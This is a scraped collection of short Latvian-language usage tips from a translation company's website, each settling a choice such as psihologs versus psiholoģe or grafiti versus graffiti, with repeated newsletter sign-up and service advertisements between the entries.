VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Anna ir psihologs vai psiholoģe? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2024-10-23 - URL: https://skrivanek.lv/psihologs-anna-pret-psihologe-anna/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PSIHOLOGS ANNA PRET PSIHOLOĢE ANNA 1 Vai Anna ir psihologs vai psiholoģe? Vispārīgi profesijas vai amati tiek nosaukti galvenokārt vīriešu dzimtē. Runājot par konkrētiem cilvēkiem, kuri pārstāv kādu profesiju vai pilda amatu, nosaukums tiek pielāgots konkrētajai dzimtei: rakstnieks Juris, bet rakstniece Laura, antropologs Roberts, bet antropoloģe Aivita. Tātad Anna ir psiholoģe. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mūsu jaunajam telefonam ir skārienjutīgs ekrāns vai skārienekrāns? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-10-24 - URL: https://skrivanek.lv/skarienjutigs-ekrans-pret-skarienekrans/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SKĀRIENJUTĪGS EKRĀNS PRET SKĀRIENEKRĀNS 1 Vai mūsu jaunajam telefonam ir skārienjutīgs ekrāns vai skārienekrāns? Displeja ekrānu, kas pārklāts ar caurspīdīgu skārienjutīgu pārklājumu, sauc par skārienekrānu (angļu val. „touchscreen”). Bieži tiek lietota arī vārdkopa „skārienjutīgs ekrāns”, taču, lai apzīmētu konkrētu detaļu, lietojams īsākais termins, kurš latviešu valodā pazīstams jau kopš šī gadsimta sākuma. Tātad mūsu telefonam ir skārienekrāns. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Jānim viss tiek atkārtots desmitām vai desmitiem reižu? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-08-21 - URL: https://skrivanek.lv/desmitam-reizu-pret-desmitiem-reizu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DESMITĀM REIŽU PRET DESMITIEM REIŽU 1 Vai Jānim viss tiek atkārtots desmitām vai desmitiem reižu? Vārds „desmits” lokāms kā pirmās deklinācijas vārds, piemēram, „limits”, „petits”. Daudzskaitļa datīvā šiem vārdiem ir galotne „-iem”: „limitiem”, „petitiem”. Lai arī „reize” ir sieviešu dzimtes lietvārds, vārds „desmits” dzimti saistījumā ar to nemaina. Tātad Jānim viss tiek atkārtots desmitiem reižu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai ielas nosaukumā lietosim saīsinājumu K. vai Kr.? Ieskaties un uzzini atbildi! Daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-07-09 - URL: https://skrivanek.lv/k-barona-iela-pret-kr-barona-iela/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional K. BARONA IELA PRET KR. BARONA IELA 1 Vai ielas nosaukumā lietosim saīsinājumu K. vai Kr. ? Cilvēka pilna priekšvārda vietā mēdzam rakstīt tikai vārda iniciāli – vārda pirmo burtu. Ja vārds vai uzvārds sākas ar līdzskaņu burtkopu jeb digrafu „dz” vai „dž”, tad tradicionāli iniciālī ir pieņemts lietot atbilstošo burtkopu , piemēram, Dzintars – Dz. , Džons – Dž. Kādreiz iniciālī tika rakstīti arī citi līdzskaņu burti (līdz pirmajam patskanim), piemēram, Fricis – Fr. , Krišjānis – Kr. Tomēr mūsdienās ieteicams iniciālī atstāt tikai vārda pirmo burtu. Tātad ielas nosaukumu rakstīsim K. Barona iela. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mēs mēdzam halturēt vai haltūrēt? Uzzini pareizo atbildi! Šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-08-13 - URL: https://skrivanek.lv/halturet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HALTURĒT PRET HALTŪRĒT 1 Vai mēs mēdzam halturēt vai haltūrēt? Vārds „haltūra” pamatnozīmē ir ‘darbs, ko veic, lai iegūtu blakus ienākumus’, un sarunvalodā ar to apzīmējam arī pavirši vai neprasmīgi veiktu darbu. Vārds latviešu valodā ienācis no krievu valodas vārda „халтура”. Lietvārds „haltūra” ir rakstāms ar garo patskani „ū”, savukārt darbības vārdā garo patskani aizstāj īsais „u”: „halturēt”. Tātad „halturēt” nozīmē ‘strādāt, lai iegūtu blakus ienākumus’ vai arī ‘pavirši, neprasmīgi strādāt’. Līdzīgi vārdu pāri ir „dežūra – dežurēt”, „kontūra – konturēt”. Tātad mums piedāvā haltūru, un mēs halturējam. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uz sienas redzam grafiti vai graffiti? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2024-07-12 - URL: https://skrivanek.lv/grafiti-pret-graffiti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional GRAFITI PRET GRAFFITI 1 Vai uz sienas redzam grafiti vai graffiti? Par grafiti tiek dēvēti ‘uzraksti un zīmējumi, kas ar aerosola krāsām uzkrāsoti uz sienām un citām virsmām sabiedriskās vietās’. Vārds „grafiti” latviešu valodā aizgūts no itāļu valodas vārda „graffiti”. Vārds rakstāms ar vienu līdzskani „f”, jo šo līdzskani latviešu valodā nedubulto. Tāpat, piemēram, vārdu „kafija” arī rakstām ar vienu „f”, lai gan esam to aizguvuši no vācu „Kaffee”, kur līdzskanis ir dubultots. Tātad sienas rotā grafiti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai filma uzņemta par tenoru Pavaroti vai Pavarotti? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2022-12-27 - URL: https://skrivanek.lv/pavaroti-pret-pavarotti/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAVAROTI PRET PAVAROTTI 1 Vai filma uzņemta par tenoru Pavaroti vai Pavarotti? Itāļu valodā rakstītais uzvārds „Pavarotti” latviešu valodā rakstāms „Pavaroti”. Vārds rakstāms ar vienu līdzskani „t”, jo šo līdzskani latviešu valodā nedubulto. Mums pazīstami arī citi personvārdi, kurus oriģinālvalodā rakstām ar dubulto līdzskani „t”, taču latviešu valodā rakstām tikai vienu, piemēram, „Antuanete” (franču „Antoinette”) vai „Gotfrīds” (vācu „Gottfried”). Tātad iesim skatīties filmu par Pavaroti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai vairāk saules redzējām pērnajā vai pagājušajā mēnesī? Uzzini atbildi! Daudzi noderīg latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-08-21 - URL: https://skrivanek.lv/pernais-menesis-pret-pagajusais-menesis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PĒRNAIS MĒNESIS PRET PAGĀJUŠAIS MĒNESIS 1 Vai vairāk saules redzējām pērnajā vai pagājušajā mēnesī? Vārds „pērnais” nozīmē ‘pagājušā gada’. Runājot par to, kas noticis iepriekšējā gadā, varam teikt gan „pagājušajā gadā”, gan „pērnajā gadā”, gan „pērn”. Savukārt, runājot par iepriekšējo nedēļu vai mēnesi, vārda „pērnais” lietojums nebūs pareizs, tāpēc teiksim „pagājušajā nedēļā”, „pagājušajā mēnesī”. Tātad vairāk saules mēs redzējām pagājušajā mēnesī. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai laukā aug rapsis vai rapši? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2022-12-27 - URL: https://skrivanek.lv/rapsis-pret-rapsi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RAPSIS PRET RAPŠI 1 Vai laukā aug rapsis vai rapši? Rapsis ir ‘viengadīgs vai divgadīgs kāpostu (krustziežu) dzimtas zilgani pelēcīgs eļļas un lopbarības kultūraugs ar gaišdzelteniem ziediem ķekaros un augļiem – pāksteņiem’. Latviešu valodā šī lauksaimniecības kultūra parasti tiek nosaukta vienskaitļa formā „rapsis” tāpat kā, piemēram, „āboliņš” (govis ganās āboliņā, nevis āboliņos), tomēr līdzīgi kā citas kultūras, piemēram, „kvieši”, „mieži”, „zirņi”, to lieto arī kā daudzskaitlinieku – „rapši”. Lauksaimniecības terminoloģijā ierasts lietot vienskaitlinieku „rapsis”, savukārt vispārlietojamā valodā varam to saukt gan „rapsis”, gan „rapši”. Tātad laukā aug vai nu rapsis, vai rapši. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uz ceļa ir vairāk bedres vai vairāk bedru? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2024-08-12 - URL: https://skrivanek.lv/vairak-bedres-pret-vairak-bedru/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAIRĀK BEDRES PRET VAIRĀK BEDRU 1 Vai uz ceļa ir vairāk bedres vai vairāk bedru? Apstākļa vārda „daudz” salīdzināmās pakāpes formas ir: „daudz – vairāk – visvairāk”. Apstākļa vārds „daudz” piesaista vārdu ģenitīvā (vārds atbild uz jautājumu KĀ? ), piemēram, „daudz naudas”, „daudz draugu”. Šis locījums lietojams arī ar vārda „daudz” salīdzināmajām pakāpēm: „vairāk naudas”, „vairāk draugu”; „visvairāk naudas”, „visvairāk draugu”. Tātad uz ceļa ir vairāk bedru. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai es no rīta mostos vai možos prieka pilns? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2022-12-27 - URL: https://skrivanek.lv/mostos-pret-mozos/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MOSTOS PRET MOŽOS 1 Vai es no rīta mostos vai možos prieka pilns? Darbības vārds „mosties” ir 1. konjugācijas darbības vārds, kuram tagadnes celmu veido ar piedēkli „-st-”: „es mostos”, „tu mosties”, „viņš/viņa mostas”, „mēs mostamies”, „jūs mostaties”, „viņi/viņas mostas”. Forma „es možos”, iespējams, radusies izlokšņu iespaidā, kā arī kļūdaini veidojot formas pēc tādu darbības vārdu kā „iesnausties” („es iesnaužos”) vai „iekosties” („es iekožos”) parauga, taču literārajā valodā pareizā forma ir „es mostos”. Tātad es no rīta mostos prieka pilns! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Nesen aizvadījām Starptautisko rakstpratības vai rakstītprasmes dienu? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-12 - Modified: 2024-10-23 - URL: https://skrivanek.lv/rakstpratiba-pret-rakstitprasme/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RAKSTPRATĪBA PRET RAKSTĪTPRASME 1 Nesen aizvadījām Starptautisko rakstpratības vai rakstītprasmes dienu? Ar rakstītprasmi apzīmē māku rakstīt: spēju veidot tekstu, izklāstīt domas, ievērojot gramatikas, ortogrāfijas utt. likumības. Piemēram, pārbaudījumi svešvalodās parasti veidoti vairākās daļās, un līdzās lasītprasmei un runātprasmei tiek pārbaudīta arī rakstītprasme. Rakstpratība nozīmē prasmi rakstīt un lasīt. Rakstpratībai pretējas nozīmes vārds ir analfabētisms: neprasme lasīt un rakstīt – tātad nespēja pazīt un rakstīt burtus. Tātad varam svinēt Starptautisko rakstpratības dienu, savukārt, mācoties kādu valodu, izkopsim tajā arī rakstītprasmi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos 